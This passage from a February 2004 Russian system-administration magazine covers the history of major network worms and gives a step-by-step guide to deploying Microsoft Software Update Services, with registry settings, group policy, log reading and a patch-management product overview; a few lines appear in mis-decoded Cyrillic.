Конец затишья перед бурей? Информационные бюллетени, выходящие в последнее время, все больше и больше напоминают боевые сводки с полей сражения. Только за первые три года нового тысячелетия произошло более десяти разрушительных вирусных атак, в общей сложности поразивших несколько миллионов компьютеров. Более точную цифру привести затруднительно, поскольку всякое информационное агентство склонно оценивать размах эпидемии по-своему, и различия в один-два порядка – вполне распространенное явление. Но, как бы там ни было, затишье, длившееся еще со времен Морриса, закончилось, и вирусописатели, словно проснувшиеся после долгой спячки, теперь перешли в наступление. Давайте вспомним, как все это начиналось. Первой ласточкой, стремительно вылетевшей из гнезда, стала Melissa, представляющая собой обычный макровирус, распространяющийся через электронную почту. Способностью к самостоятельному размножению она не обладала и сетевым червем в строгом смысле этого слова очевидно не являлась. Для поддержания жизнедеятельности вируса требовалось наличие большого количества неквалифицированных пользователей, которые: а) имеют установленный MS Word; б) игнорируют предупреждения системы о наличии макросов в документе или же обработка макросов по умолчанию разрешена; в) пользуются адресной книгой почтового клиента Outlook Express; г) все приходящие вложения открывают не глядя. И эти пользователи нашлись! По различным оценкам Melissа удалось заразить от нескольких сотен тысяч до полутора миллионов машин, затронув все развитые страны мира. Величайшая ошибка информационных агентств и антивирусных компаний состоит в том, что они в погоне за сенсацией сделали из Melissа событие номер один, чем раззадорили огромное количество программистов всех мастей, вручив им образец для подражания. Как это обычно и случается, на первых порах подражатели дальше тупого копирования не шли. Сеть наводнили полчища вирусов-вложений, скрывающих свое тело под маской тех или иных форматов. Верхом наглости стало появление вирусов, распространяющихся через исполняемые файлы. И ведь находились такие пользователи, что их запускали… Разнообразные методы маскировки (вроде внедрения в исполняемый файл графической пиктограммы) появились значительно позже. Нашумевший Love Letter, прославившийся своим романтическим признанием в любви, технической
86
новизной не отличался и как его коллеги распространялся через почтовые вложения, в которых на этот раз содержался Visual Basic Script. Три миллиона зараженных машин – рекорд, который не смог побить даже сам Love San, – лишний раз свидетельствует о том, что рядовой американский мужик не крестится даже после того, как гром трижды вдарит и охрипший от свиста рак с горы гикнется. Более или менее квалифицированных пользователей (и уж тем более профессионалов!) существование почтовых червей совершенно не волновало и они полагали, что находятся в абсолютной безопасности. Переломным моментом стало появление Kilez, использующего для своего распространения ошибку реализации плавающих фреймов в Internet Explorer. Заражение происходило в момент просмотра инфицированного письма и сетевое сообщество немедленно забило тревогу. Однако за год до этого было отмечено появление первого червя, самостоятельно путешествующего по Сети и проникающего на заражаемые сервера через дыру в Microsoft Internet Information Server и Sun Solaris Admin Suite. По некоторым данным, червю удалось поразить до восьми тысяч машин (на две тысячи больше, чем Червь Морриса). Для современных масштабов Сети это пустяк, не стоящий даже упоминания. Короче говоря, вирус остался незамеченным, а программное обеспечение – не обновленным. Расплата за халатное отношение к безопасности не заставила себя ждать и буквально через пару месяцев появился новый вирус, носящий название Code Red, который со своей более поздней модификацией Code Red II уложил более миллиона узлов за короткое время. Джинн был выпущен из бутылки и тысячи хакеров, вдохновленные успехом своих коллег, оторвали мыши хвост и засели за клавиатуру. За два последующих года были найдены критические уязвимости в Apache- и SQL-серверах и выращены специальные породы червей для их освоения. Результат, как водится, превзошел все ожидания. Сеть легла, и некоторые даже стали поговаривать о скором конце Интернета и необходимости полной реструктуризации Сети (хотя всего-то и требовалось – уволить администраторов, не установивших вовремя заплатки). Вершиной всему стала грандиозная дыра, найденная в системе управления DCOM и распространяющаяся на весь модельный ряд NT-подобных систем (в первую очередь это сама NT, а также W2K, XP и даже Windows 2003). Тот факт,
безопасность Òàáëèöà 1. Top10: ïàðàä ñåòåâûõ âèðóñîâ – îò ×åðâÿ Ìîððèñà äî íàøèõ äíåé (óêàçàííîå êîëè÷åñòâî çàðàæåííûõ ìàøèí ñîáðàíî èç ðàçëè÷íûõ èñòî÷íèêîâ è íå ñëèøêîì-òî äîñòîâåðíî, ïîýòîìó íå âîñïðèíèìàéòå åãî êàê èñòèíó â ïåðâîé èíñòàíöèè)
что данная уязвимость затрагивает не только серверы, но и рабочие станции (включая домашние компьютеры) обеспечил червю Love San плодотворное поле для существования, поскольку подавляющее большинство домашних компьютеров и рабочих станций управляется неквалифицированным персоналом, не собирающимся в ближайшее время ни обновлять операционную систему, ни устанавливать брандмауэр, ни накладывать заплатку на дыру в системе безопасности, ни даже отключать этот никому не нужный DCOM (для отключения DCOM можно воспользоваться утилитой DCOM-
bobulator, доступной по адресу http://grc.com/freepopular.htm, она же проверит вашу машину на уязвимость и даст несколько полезных рекомендаций по защите системы). Что ждет нас завтра – неизвестно. В любой момент может открыться новая критическая уязвимость, поражающая целое семейство операционных систем, и прежде чем соответствующие заплатки будут установлены, деструктивные компоненты червя (если таковые там будут) могут нанести такой урон, который повергнет весь цивилизованный мир во мрак и хаос…
Что читать. Интересные ссылки на сетевые ресурсы: 1. Attacks of the Worm Clones – Can we prevent them – материалы RSA Conference 2003 от Symantec, содержат множество красочных иллюстраций, которые стоят того, чтобы на них посмотреть http://www.rsaconference.com/ rsa2003/europe/tracks/pdfs/hackers_t14_szor.pdf; 2. An Analysis of the Slapper Worm Exploit – подробный анализ червя Slapper от Symantec, ориентированный на профессионалов, настоятельно рекомендуется всем тем, кто знает Си и ассемблер: ht tp:// securityresponse.symantec.com/avcenter/reference/ analysis.slapper.worm.pdf; 3. Inside the Slammer Worm – анализ червя Slammer, ориентированный на эрудированных пользователей ПК, тем не менее достаточно интересен и для администраторов: http://www.cs.ucsd.edu/~savage/papers/ IEEESP03.pdf; 4. An Analysis of Microsoft RPC/DCOM Vulnerably – обстоятельный анализ нашумевшей дыры в NT/W2K/XP/2003, рекомендуется: http://www.inetsecurity.info/downloads/ papers/MSRPCDCOM.pdf; 5. The Internet Worm Program: An Analysis – исторический документ, выпущенный по следам Червя Морриса, и содержащий подробный анализ его алгоритма: http:// www.cerias.purdue.edu/homes/spaf/tech-reps/823.pdf; 6. With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988 – еще один исторический анализ архитектуры Червя Морриса: http://www.deter.com/ unix/papers/internet_worm.pdf;
№2(15), февраль 2004
7. The Linux Virus Writing And Detection HOWTO – любопытная вариация на тему «пишем вирус и антивирус для Linux»: http://www.rootshell.be/~doxical/download/ docs/linux/Writing_Virus_in_Linux.pdf; 8. Are Computer Hacker Break-ins Ethical? – этично ли взламывать компьютеры или нет, вот в чем вопрос! http:// www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf; 9. Simulating and optimising worm propagation algorithms – анализ скорости распространения червя в зависимости от различных условий, рекомендуется для людей с математическим складом ума: http://downloads.securityfocus.com/library/WormPropagation.pdf; 10. Why Anti-Virus Software Cannot Stop the Spread of Email Worms – статья, разъясняющая причины неэффективности антивирусного программного обеспечения в борьбе с почтовыми вирусами, настоятельно рекомендуется для ознакомления всем менеджерам по рекламе антивирусов: http://www.interhack.net/pubs/emailtrojan/email-trojan.pdf; 11. Просто интересные документы по червям россыпью; http://www.dwheeler.com/secure-programs/secureprogramming-handouts.pdf; http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/ prodlit/sawrm_wp.pdf; http://engr.smu.edu/~tchen/papers/ Cisco%20IPJ_sep2003.pdf; http://crypto.stanford.edu/cs155/lecture12.pdf; http://www.peterszor.com/slapper.pdf.
87
безопасность
УЯЗВИМОСТИ В MS WINDOWS В ПОИСКАХ РЕШЕНИЯ ПРОБЛЕМЫ ПО SUSЕКАМ MICROSOFT
МИХАИЛ ПЛАТОВ 88
безопасность
Программные уязвимости и методы борьбы с ними Как известно, программы пишутся людьми. Так было всегда – и в незапамятные времена мейнфреймов, и на заре появления первых ПК, да и сейчас ситуация принципиально не отличается от того, что было 10 лет назад. Конечно, появляются новые методологии, создаются новые языки программирования, но программы по-прежнему пишутся людьми, и в ближайшее время, видимо, здесь ничего революционного не произойдет. Ни для кого не секрет, что людям свойственно ошибаться. Ошибаются все – от школьника, делающего свои первые шаги в Паскале, до матерого программиста, пишущего модули ядра ОС. Но если ошибки школьника, кроме его учителя и самого школьника, мало кого волнуют, то проблемы в часто используемых сервисах сетевых ОС волнуют значительно большее число людей. У многих в памяти еще свежи воспоминания о W32.blaster, всемирной лихорадке с червем Slammer, эксплуатирующим уязвимость в сервере MS SQL Server, проблемах с безопасностью веб-сервера MS IIS (червь Code Red), службах ftp и sendmail для Linux, и уязвимостях в MS Internet Explorer. Причем опыт показывает, что во многих случаях проблем, вызванных этими уязвимостями, можно было полностью избежать. Так, исправления для RPC/DCOM были опубликованы на Windows Update за несколько недель до начала эпидемии, исправление, закрывающее уязвимость в MS SQL Server было доступно для скачивания в течение нескольких месяцев, не говоря уже о регулярно появляющихся «заплатках» для Internet Explorer и Outlook Express. Обновления для популярных Linux-программ тоже появляются достаточно быстро. Итак, своевременная установка обновлений избавляет нас от множества проблем. И все было бы хорошо, если бы здесь не вмешивался человеческий фактор. Ведь для того, чтобы установить обновление, нужно сначала узнать о том, что оно появилось (здесь нам могут помочь всевозможные bug-листы), найти его на сайте производителя, скачать и установить на все машины, подверженные данной уязвимости. Не удивительно, что времени на выполнение этих работ очень часто не хватает, что и подтверждается историей вирусных атак последних лет. Еще одно свидетельство тому – инициатива, озвученная генеральным директором компании Microsoft Стивом Балмером после летней эпидемии W32.blaster об обязательном интегрировании средств автоматического обновления в следующие версии операционной системы MS Windows. Однако это будет в будущем, и пока оно не наступило, нам – системным администраторам – придется самостоятельно искать решения одной из самых важных административных проблем, а именно – как наиболее быстро и с минимальными усилиями устанавливать обновления для используемых программ? И хотя рынок программных продуктов, решающих данную проблему, еще молод, уже сейчас на нем присутствует достаточное количество различных игроков, предлагающих свои решения проблемы оперативного обновления. Не является исключением и компания Microsoft,
№2(15), февраль 2004
предлагающая широкий спектр продуктов, направленных на решение проблем своих клиентов. Остановимся более подробно на одном из них – Microsoft Software Update Services.
Концепция SUS Существует мнение, что на компьютеры, полностью изолированные от Интернета, обновления в принципе можно и не устанавливать, решая проблемы несанкционированного доступа административно. Однако для компьютеров, хотя бы изредка появляющихся в Сети, регулярная установка обновлений абсолютно необходима. Именно для этого в состав еще Windows 2000 был включен компонент «Автоматическое обновление». При подключении компьютера к Сети этот компонент автоматически связывается с узлом Windows Update, определяет, какие критические обновления системы доступны для установки и скачивает их. Этот подход вполне применим для домашнего компьютера с 56К dialup-подключением. Однако для организаций это практически не применимо, так как большинство организаций оплачивают трафик помегабайтно и расходы от многократно скачанного обновления (пропорционально количеству компьютеров) никак не обрадуют начальство. Здесь нам на помощь приходит SUS. Скачивая обновление один раз, он выступает в качестве корпоративного сервера Windows Update, тем самым минимизируя внешний оплачиваемый трафик. Кроме того, SUS является масштабируемым решением, то есть существует возможность построить иерархию SUS-серверов для распределения нагрузки или для «адресной» установки обновлений. Так, при помощи иерархической схемы можно сначала проверить работу обновлений на тестовой зоне, а затем разрешить установку в рамках всего предприятия.
Системные требования Требования к необходимому оборудованию во многом определяются тем, как именно планируется использовать SUS. Если нужно обеспечить установку обновлений в небольшой локальной сети, то вполне можно ограничиться минимальными требованиями, заявляемыми Microsoft – 700 МГц процессором, 512 Мб ОЗУ и парой гигабайт свободного места для хранения скачанных обновлений. Од-
89
безопасность нако если вы собираетесь делать многоуровневый корпоративный узел обновлений, то требования могут быть гораздо выше и должны определяться в зависимости от поставленной задачи. С точки зрения устанавливаемого программного обеспечения системные требования более универсальны. Независимо от масштабов, для установки SUS необходимо наличие веб-сервера MS IIS 5.0/6.0 и обозревателя MS Internet Explorer версии не ниже 5.5.
Устанавливаем SUS Здесь все не сложнее, чем с любым другим продуктом от Microsoft, за исключением того, что при установке не нужно заполнять различные регистрационные формы и думать об активации – продукт бесплатен. Так что просто качаем SUS с сайта Microsoft и запускаем инсталлятор. При установке SUS автоматически устанавливается утилита IIS Lockdown, которая, в принципе, может нарушить работу других приложений, выполняющихся на этом же веб-сервере. Хорошо было бы установить SUS на машину, на которой хотя бы не выполняется других веб-приложений, а еще лучше – на специально выделенный компьютер, особенно если количество обслуживаемых SUSклиентов велико.
90
Настраиваем SUS Итак, сервер SUS установлен, и теперь можно приступить к его настройке. SUS представляет собой веб-приложение на языке ASP для веб-сервера IIS, так что не удивительно, что его настройка полностью осуществляется через веб-интерфейс. Для того, чтобы открыть страницу настройки SUS, можно либо воспользоваться ярлыком «Microsoft Software Update Services», расположенным в меню «Administrative tools», либо просто написать в браузере: http://localhost/SUSAdmin. После этого мы увидим примерно следующее (см. рис.). Все основные настройки определяются в пункте «Set Options».Здесь мы можем задать настройки http-прокси, выбрать языки ОС, для которых необходимо иметь обновления на нашем сервере, а также определить настройки синхронизации нашего сервера. SUS – решение масштабируемое, поэтому в качестве источника обновлений может выступать либо корневой узел Windows Update, либо другой SUS-сервер. Второй вариант может использоваться в крупных организациях с большим числом обслуживаемых клиентов, в то время как нам вполне хватит и первого. Итак, сохраним наши настройки и перейдем в раздел «Synchronize». В этом разделе находится все, что связано с синхронизацией нашего сервера с узлом обновлений верхнего уровня: задание расписания, про-
безопасность смотр журнала и «ручная» синхронизация. После нажатия на «Synchronize now» SUS автоматически соединится с корневым узлом и загрузит все необходимые обновления. Первая синхронизация может продлиться долго, ведь, скорее всего, серверу придется загрузить довольно большее количество обновлений с корневого сайта, однако все последующие синхронизации будут проходить гораздо быстрее, загружая только свежие обновления. После загрузки обновлений необходимо определить, какие из них будут доступны для автоматической установки. Для этого перейдем в раздел «Approve Updates», отметим необходимые нам обновления и нажмем на кнопку «Approve». На этом серверную часть в целом можно считать настроенной, и теперь самое время перейти к настройке клиентской части.
Устанавливаем клиентов Windows Update Для работы с SUS необходим клиент Windows Update версии не ниже 2.2, который уже присутствует в Windows 2000 SP3, Windows XP SP1 и Windows 2003. Однако, если у вас используется более старая версия Windows, не содержащая в себе клиента нужной версии, то его нужно установить отдельно, используя установочный пакет wuau22.msi с сайта http://www.microsoft.com. Для этого можно либо воспользоваться возможностями централизованной установ-
№2(15), февраль 2004
кой ПО через групповые политики (технология IntelliMirror), либо установить пакет вручную, в случае если машины не объединены в домен.
Настраиваем клиента Windows Update Все настройки клиента Windows Update хранятся в реестре Windows и считываются им каждый раз при запуске службы «Automatic Updates». Для задания этих настроек можно либо вручную отредактировать реестр, либо задать необходимые значения при помощи групповых политик.
Реестр Минимально необходимые для работы SUS настройки хранятся в следующих ключах реестра: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ WindowsUpdate WUServer=”http://<Èìÿ ñåðâåðà SUS>” WUStatusServer=”http://<Èìÿ ñåðâåðà SUS>” HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ WindowsUpdate\AU UseWUServer – èñïîëüçîâàòü (1) èëè íåò (0) SUS-ñåðâåð.
↵
↵
Этих параметров уже достаточно для того, чтобы клиент автоматического обновления начал работу с нашим сервером, однако для более тонкой настройки нужно определить еще несколько ключей:
91
безопасность HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵ WindowsUpdate\AU ScheduledInstallDay – ïîçâîëÿåò çàäàòü äåíü íåäåëè (0-7), â êîòîðûé áóäåò îñóùåñòâëÿòüñÿ óñòàíîâêà. ScheduledInstallTime – ÷àñ (1-24), â êîòîðûé áóäåò îñóùåñòâëÿòüñÿ óñòàíîâêà. AUOptions – âûáîð ðåæèìà óñòàíîâêè (2 – óâåäîìèòü î äîñòóïíûõ óâåäîìëåíèÿõ, 3 – ñêà÷àòü è óâåäîìèòü ïåðåä óñòàíîâêîé, 4 – ñêà÷àòü è óñòàíîâèòü ñîãëàñíî ðàñïèñàíèþ). NoAutoUpdate – 1 – âêëþ÷èòü àâòîîáíîâëåíèå, 0 – âûêëþ÷èòü. RescheduleWaitTime – ýòîò êëþ÷ èñïîëüçóåòñÿ â ñëó÷àå, åñëè êëèåíò íå ñìîã óñòàíîâèòü îáíîâëåíèå â çàäàííîå âðåìÿ. Çàäàåò âðåìÿ â ìèíóòàõ (1-60), â òå÷åíèå êîòîðîãî áóäåò ïðåäïðèíÿòî ñëåäóþùåå îáðàùåíèå ê ñåðâåðó. NoAutoRebootWithLoggedOnUsers – 1 – ïîëüçîâàòåëü ìîæåò îòìåíèòü ïåðåçàãðóçêó, âûçâàííóþ îáíîâëåíèåì.
Для редактирования реестра на удаленных машинах можно воспользоваться стандартной утилитой reg.exe, входящей в Windows XP/2003 и ResourceKit для Windows 2000. Для ее работы необходимо, чтобы на удаленной машине была запущена «Служба удаленного управления реестром» и пользователь, под которым будет производиться подключение к компьютеру, имел права на запись значений в соответствующие ключи реестра. Однако на практике эти требования далеко не всегда бывают выполнимы, поэтому более целесообразно использовать домен и групповые политики.
Групповые политики Групповые политики являются универсальным средством администрирования компьютеров, входящих в Windows 2000/2003 домен. Они позволяют достаточно гибко настраивать как отдельные машины, так и несколько машин, объединенных в группы безопасности или размещенных в организационных единицах. Это достигается привязкой групповых политик к организационным единицам и редактированию их параметров безопасности. Используя групповые политики, можно быстро настроить клиента автоматических обновлений, как на тестовой группе машин, так и на всех машинах, входящих в домен. Кроме того, можно определять различные настройки для различных организационных единиц домена. Для настройки клиента автоматического обновления с помощью групповых политик можно использовать стандартный для Windows 2003 Server административный шаблон wuau.adm. Для Windows 2000 Server этот шаблон может быть загружен с сайта Microsoft. Настройка производится заданием соответствующих значений политик компьютера, расположенных по следующему пути: Computer Settings → Administrative Templates → Windows Components → Windows Update. Здесь при помощи стандартного редактора групповых политик можно легко и просто настроить все то, что выше мы задавали через реестр. Согласитесь, этот способ гораздо проще, однако для него нужен Windows 2000 домен.
Читаем журналы При своей работе система автоматического обновления ведет журналы в нескольких местах: на SUS-сервере, на каждом клиенте и в системном журнале. Некоторые из
92
них могут быть очень полезны при мониторинге работы системы (системный журнал, журнал на клиенте), а некоторые (журнал веб-сервера IIS) просто незаменимы при настройке прав доступа к SUS-серверу, а также при обычном мониторинге его работы. Итак, рассмотрим более подробно что, где и когда создается.
На стороне клиента Каждый раз при обновлении системы клиент Windows Update добавляет в файл %windir%\Windows Update.log записи следующего вида: 2003-12-28 14:17:07 11:17:07 Success IUENGINE Determining machine configuration 2003-12-28 14:17:07 11:17:07 Success IUENGINE Querying software update catalog from ↵ http://SUSserver/autoupdate/getmanifest.asp 2003-12-29 10:11:55 07:11:55 Success IUENGINE Install started 2003-12-29 10:13:28 07:13:28 Success IUENGINE See iuhist.xml for details: Install finished
↵ ↵ ↵ ↵
В этом файле подробно журналируются все действия клиента. Содержимое этого файла достаточно прозрачно и скорее всего не вызовет проблем в понимании. Кроме того, в папке c:\Program Files\WindowsUpdate в файле uihist.xml хранится история установки всех обновлений для данной машины. В системном журнале появляются события, содержащие информацию о работе клиента:
Эта информация может быть полезна при мониторинге работы системы обновлений, особенно если используется какая-нибудь система централизованного мониторинга журналов событий.
На стороне сервера Так как SUS работает на IIS, то все сообщения, касающиеся его работы, нужно искать в журналах IIS. По умолчанию,
безопасность журнал IIS находится в %SYSTEMROOT%\LogFiles\W3SVC1, его файлы называются по текущей дате и с установленным SUS содержат записи следующего вида: 2002-03-25 19:08:48 127.0.0.1 – 127.0.0.1 ↵ 80 POST /autoupdate/getmanifest.asp - 200 ↵ Mozilla/4.0+(compatible;+Win32;+WinHttp.WinHttpRequest.5)
Посмотрим на эту строчку более подробно. Смысл первых двух полей достаточно очевиден. Третье поле показывает IP-адрес клиента, который обратился к серверу, в четвертом поле указывается IP-адрес сервера, пятое – порт, на который было обращение, шестое – метод HTTP запроса клиента (GET, POST, HEAD, PUT, DELETE и т. д.), седьмое указывает файл, к которому обратился клиент, восьмое – http-код, который вернул IIS. Если IIS сконфигурирован правильно, то возвращаемый им код всегда будет равен 200. Девятое поле идентифицирует клиента Windows Update. Если все сконфигурировано правильно, то в журнале IIS будет примерно следующее: 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵ HEAD /content/q828750_6f9e9c85178a4c12d6168f6ee4dbe98.exe - ↵ 200 Microsoft+BITS/6.2 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵ HEAD /content/q824145_76dd839870a655458701c0b937b91d6.exe - ↵ 200 Microsoft+BITS/6.2 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵ HEAD /content/WindowsXP-KB828035-x86- ↵ ENU_d911770163b58b6809b00f033230b46.exe - ↵ 200 Microsoft+BITS/6.2 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵ HEAD /content/WindowsXP-KB825119-x86- ↵ ENU_1b9f23b64b002d1e9d1eaba62f5f8fd.exe - ↵ 200 Microsoft+BITS/6.2
Здесь мы видим, как клиент с IP-адресом 192.168.10 успешно загружает обновления с SUS-сервера. Процесс их установки можно отследить либо по системному журналу, либо по лог-файлу на клиенте.
Инициируем подключение клиента На первых этапах, когда производится настройка системы, для проверки правильности настроек довольно часто возникает необходимость принудительно инициировать обращения клиента к серверу. По умолчанию клиент Windows Update производит обращение один раз за 17-22 часа и для того, чтобы инициировать «внеплановое» подключение, приходится вооружаться известным ударным инструментом и осуществлять некоторые шаманские действия: 1. Сконфигурировать клиента стандартными средствами (Панель управления для 2000, свойства компьютера для XP). 2. Выключить клиента (либо через его настройки, либо остановив соответствующую службу). 3. Подождать несколько секунд и включить его снова. В течение некоторого времени (обычно это 5-10 минут) клиент предпримет очередную попытку загрузить об-
№2(15), февраль 2004
новления, отследить которую можно по содержимому следующего ключа реестра: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ ↵ CurrentVersion\WindowsUpdate\Auto Update
Значение DetectionStartTime этого ключа хранит время последнего обращения к серверу обновлений. Необходимо отметить, что этот способ применим только для компьютеров, настройка клиентов которых проводилась с помощью редактирования реестра. Дело в том, что при использовании групповых политик опция, включающая и отключающая клиента, недоступна, пока к машине применяется групповая политика, конфигурирующая автоматические обновления. Таким образом, для того чтобы инициировать цикл обновления, необходимо либо отключить политику, определяющую настройку Windows Update, либо перенести машину в другую организационную единицу, к которой эта политика не применяется. После этого нужно применить новые политики и, отредактировав настройки клиента, инициировать обращение к серверу SUS. Для применения групповых политик в случае Windows 2000 можно воспользоваться программой secedit, в случае Windows XP/2003 – gpupdate. Если не хочется разбираться с синтаксисом этих команд, можно просто перезагрузить компьютер.
Завинчиваем гайки, включаем https Как мы уже видели выше, интерфейс администрирования SUS-сервера по http доступен локальному администратору сервера сразу после установки. Однако иногда бывает необходимо администрировать некоторые службы (компоненты) сервера удаленно, либо в рамках все той же локальной сети, либо через Интернет. В случае SUS это совсем просто, т.к. его администрирование уже осуществляется через веб-интерфейс и ничто не мешает нам сделать его общедоступным, настроив соответствующим образом IIS. С точки зрения элементарной безопасности, настраивая удаленное администрирование в IIS, следует соблюдать несколько простых правил: ! разрешить доступ к узлу только администраторам, используя встроенную проверку паролей IIS; ! организовывать доступ к администрированию узла по протоколу https, используя 128-битное шифрование; ! по возможности использовать ограничение доступа по IP-адресам. Для выполнения этих требований вам понадобится сертификат для веб-сервера IIS, получить который можно, создав свой собственный центр сертификации с помощью средств Windows Server 2000/2003. Для разрешения административного доступа по https необходимо в настройках безопасности каталога веб-сервера IIS включить опцию «Требуется безопасный канал (SSL)» для следующих каталогов: \autoupdate\administration \autoupdate\dictionaries \Shared
93
безопасность \Content\EULA \Content\RTF
Также настоятельно рекомендуется включить опцию «Требуется 128-разрядное шифрование». Это позволит обеспечить достаточную безопасность при передаче пароля через Интернет.
Будущее SUS К слову сказать, SUS 1.0 является «бюджетным» решением, позволяющим организовать автоматическую установку только критических обновлений ОС Windows 2000/XP/2003. С его помощью нельзя устанавливать обновления для других программных продуктов, в том числе и от Microsoft. Специально для этих целей Microsoft предлагает (уже не бесплатно) отдельный продукт – System Management Services, позволяющий решать более широкий спектр административных задач, в том числе и установку обновлений для любых программ. Однако, по всей видимости, Microsoft не собирается ставить крест на бесплатном SUS. Так, в первой полови-
не 2004 года на рынок будет выпущен SUS версии 2.0. По предварительной информации от самой Microsoft (на момент написания этих строк продукт еще находился в стадии бета-тестирования) одним из самых значимых нововведений в следующей версии будет переход от обновления только операционной системы Windows к обновлению разнообразных приложений от Microsoft (SQL Server, Office, Exchange и другие). Для этого компанией Microsoft буден создан специальный сайт, содержащий все обновления для ее основных продуктов – Microsoft Update. Кроме того, в SUS 2.0 будет реализован более полный контроль над процессом установки обновлений, произойдет уменьшение размеров скачиваемых заплаток (технология Delta patching), а также появится возможность полного отката установленного патча (Windows Installer 3.0). Так что ждем SUS 2.0. Огромное спасибо за помощь в написании статьи Дмитрию Косинову. Используемые материалы: http://go.microsoft.com/fwlink/?LinkId=6930 http://support.microsoft.com/default.aspx?kbid=326693
Обзор рынка ПО для обновлений St. Bernard Software UpdateExpert (http://www.stbernard.com/) Поддерживает: Microsoft Windows NT/2000/XP, IIS, SQL Server, Exchange Server, IE, Outlook Express, Windows Media Player, Windows Media Services, NetMeeting, Microsoft Office, MDAC, ISA Server. Особенности: ! возможность работы без установки агента на клиентскую машину; ! ориентация на крупные организации; ! поддержка Active Directory. Созданный с ориентацией на крупные организации, этот продукт поддерживает Active Directory и позволяет удобно работать с большими массивами компьютеров. Примечательная особенность UpdateExpert – возможность работы с конечными машинами без установки агента на них.
Shavlik HFNetChkPro (http://www.shavlik.com/) Поддерживает: Microsoft Windows NT/2000/XP/Server 2003, Exchange, SQL Server, Outlook, Microsoft Office, Java Virtual Machine, Internet Explorer, IIS, Windows Media Player, Microsoft Data Access Components (MDAC), ISA Server, Commerce Server, .NET Framework. Особенности: ! ориентация на продукты Microsoft; ! поддержка Active Directory; ! бесплатный урезанный вариант HFNetChkLT. Продукт, ориентированный в первую очередь на обновление программам от Microsoft. К сожалению, работой с ними он в основном и ограничивается. Компания
94
представляет также урезанный бесплатный вариант программы – HFNetChkLT.
Ecora Patch Manager (http://www.ecora.com/) Поддерживает: Sun Solaris, Windows NT/2000/XP/2003, MSSQL Server, MSDE, Exchange 5.5 & 2000, Office 2000/XP, Windows Media Player, IE, IIS, MDAC. Особенности: ! встроенный планировщик заданий; ! гибкий механизм оповещения о различных событиях; ! кросс-платформенность. Схожий по функциональности с HFNetChkPro, этот продукт обладает встроенным планировщиком заданий и гибкой системой оповещения о появлении в базе новых обновлений, удачном сканировании и подобных событиях. Patch Manager является кросс-платформенным решением, не ограничиваясь только платформой Windows.
PatchLink Update (http://www.patchlink.com/) Поддерживает: Microsoft Windows NT/2000/XP/Server 2003, Unix, Linux, NetWare. Особенности: ! ориентация на крупные организации; ! возможность работы в «клиент-серверном» режиме; ! кросс-платформенность. Продукт поддерживает большое число систем и обладает довольно удобным интерфейсом управления. Однако могут возникнуть некоторые трудности в его установке.
подписка
Продолжается подписка на I полугодие 2004 г. Более подробная информация на сайте www.samag.ru в разделе «Подписка»
Единый подписной индекс:
81655 по каталогу агентства «Роспечать»
Рады видеть Вас нашими читателями!
№2(15), февраль 2004
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №2(15), Февраль, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Андрей Бешков Научно-технические консультанты Дмитрий Горяинов Валерий Цуканов РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 6600 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.
96
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Свободный антивирус До недавнего времени об установке антивируса под UNIX-системы никто, пожалуй, не думал, но события последних лет изменили коренным образом подход к этому вопросу. Теперь антивирус под эти системы ставят не только для обезвреживания вирусов при использовании UNIX-систем в качестве платформы для почтовых и файловых серверов локальных сетей, но и для локальной защиты пользовательских данных от деструктивных действий вирусов. При этом антивирусы должны обладать возможностью обнаруживать все существующие на данный момент вирусы как для UNIX, так и для Windows-систем, а также макровирусы. Наибольшей популярностью среди антивирусов пользуется DrWeb, обладающий действительно хорошими характеристиками и эвристическим анализатором, позволяющим иногда обнаружить неизвестный вирус. Все, в общем, хорошо, но собрав полностью сервер из бесплатных компонентов, выбить финансы, для того чтобы платить за лицензию, под конец года не получилось. А ограничения ознакомительной версии, в частности отсутствие возможности проверки архивов, мне не совсем подходят. В Интернете я постоянно натыкался на другие антивирусы и мне захотелось поискать замену (или убедиться в отсутствии таковой, что тоже хорошо). В результате я вышел на несколько довольно интересных проектов, о которых речь пойдет в этой статье.
Свободная ДОС для свободных людей (или не Linux единым жив человек) Когда говорят об ОС, обозначаемой аббревиатурой DOS, мало кто задумывается – о какой же Дисковой Операционной Системе идет речь. Обозначение целого класса ОС для большинства людей стало синонимом лишь одногоединственного его представителя – MS DOS фирмы Microsoft, последняя версия которой вышла вот уже десять лет назад, и которая давно завершила свое развитие. Однако до сих пор в эксплуатации остается огромное число программ, работающих в среде и написанных под эту нетребовательную к ресурсам ОС, и не меньшее число морально устаревших компьютеров, прекрасно работающих под ней. Как же быть? Я бы посоветовал обратить внимание на FreeDOS, изначально написанную Джимом Холлом, а сейчас развивающуюся при участии целой команды разработчиков из разных концов света.
